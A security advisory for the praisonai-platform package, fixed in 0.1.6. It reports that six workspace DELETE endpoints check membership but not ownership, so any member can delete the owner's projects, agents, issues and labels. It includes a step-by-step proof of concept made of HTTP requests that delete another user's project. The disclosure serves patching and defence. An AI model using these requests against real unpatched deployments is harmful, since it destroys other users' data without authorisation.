GHSA-rh39-9c67-59mh PraisonAI: Missing ownership check on DELETE endpoints allows members to delete others' content in Platform API

• PyPI praisonai-platform: >= 0.1.4, < 0.1.6 → fixed in 0.1.6

Summary A workspace member can permanently delete any resource — projects, agents, issues, labels, issue dependencies, and issue-label attachments — created by the workspace owner or other members. All six content DELETE endpoints enforce workspace membership but perform no ownership or role check. A single malicious or compromised member account can wipe an entire workspace's content irreversibly. Details The published role capability matrix explicitly restricts members from modifying others' content: | Capability | Owner | Admin | Member | |---|---|---|---| | Create issues/tasks | ✅ | ✅ | ✅ | | Edit own content | ✅ | ✅ | ✅ | | Edit others' content | ✅ | ✅ | ❌ | The DELETE handlers for all content resources check that the requesting user is a workspace member, but do not verify that the user either created the resource or holds an `owner`/`admin` role. The result is that the `member` role has unrestricted DELETE access over all workspace content regardless of who created it. Confirmed vulnerable endpoints: | Endpoint | Expected | Actual | |---|---|---| | `DELETE /api/v1/workspaces/{workspace_id}/projects/{project_id}` | 403 | 204 | | `DELETE /api/v1/workspaces/{workspace_id}/agents/{agent_id}` | 403 | 204 | | `DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}` | 403 | 204 | | `DELETE /api/v1/workspaces/{workspace_id}/labels/{label_id}` | 403 | 204 | | `DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}/dependencies/{dep_id}` | 403 | 204 | | `DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}/labels/{label_id}` | 403 | 204 | The missing check is isolated to content resource DELETEs. PoC Requirements: Two accounts — owner (resource creator) and member (attacker). 1. Register both accounts ```http POST /api/v1/auth/register Content-Type: application/json {"email": "[email protected]", "password": "Password1!", "name": "owner"} ``` ```http POST /api/v1/auth/register Content-Type: application/json {"email": "[email protected]", "password": "Password1!", "name": "member"} ``` 2. Owner creates workspace, adds member with `member` role ```http POST /api/v1/workspaces/ Authorization: Bearer Content-Type: application/json {"name": "Test Workspace"} ``` ```http POST /api/v1/workspaces/{workspace_id}/members Authorization: Bearer Content-Type: application/json {"user_id": "", "role": "member"} ``` 3. Owner creates a project ```http POST /api/v1/workspaces/{workspace_id}/projects/ Authorization: Bearer Content-Type: application/json {"title": "Owner's Project"} ``` Response `201 Created`: ```json {"id": "29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6", "title": "Owner's Project", ...} ``` 4. Member deletes the owner's project ```http DELETE /api/v1/workspaces/{workspace_id}/projects/29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6 Authorization: Bearer ``` Response: `204 No Content` 5. Owner confirms the project is permanently gone ```http GET /api/v1/workspaces/{workspace_id}/projects/29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6 Authorization: Bearer ``` Response: `404 Not Found` ```json {"detail": "Project not found"} ``` The same steps reproduce on all six affected resource types (agents, issues, labels, issue dependencies, issue-label attachments). --- Impact This is an improper authorization vulnerability. A workspace member can delete resources (projects, agents, issues, labels) created by other workspace members or the owner. The documented permission model restricts members to managing only their own content — the DELETE endpoints do not enforce this. Who is impacted: Workspace owners and members who share a workspace with untrusted or compromised member accounts.
